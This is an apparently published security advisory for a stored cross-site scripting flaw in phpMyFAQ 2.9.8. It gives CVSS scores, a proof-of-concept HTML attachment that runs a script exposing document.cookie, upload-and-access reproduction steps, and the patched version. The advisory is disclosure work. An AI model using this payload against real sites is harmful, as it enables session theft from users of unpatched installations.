phpMyFAQ 2.9.8 Stored XSS Vulnerability

2017.10.31
Credit: Nikhil Mittal
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability # Date: 28-9-2017 # Exploit Author: Nikhil Mittal (Payatu Labs) # Vendor Homepage: http://www.phpmyfaq.de/ # Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip # Version: 2.9.8 # Tested on: MAC OS # CVE : 2017-15727 1. Description In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment. 2. Proof of concept Exploit code <!DOCTYPE html> <html> <head> <title>XSS EXPLOIT</title> </head> <body> <script>confirm(document.cookie)</script> </body> </html> Steps to reproduce: 1. Create a user having limited access rights to attachment section 2. Goto http://localhost/phpmyfaq/admin/?action=editentry 2. Upload the exploit code with .html extension at the place of attachements 3. Access the file url generated at /phpmyfaq/attachments/<random_path> 4. Reach to last file using directory traversal and XSS will triage 3. Solution Update to phpMyFAQ Version 2.9.9 http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip


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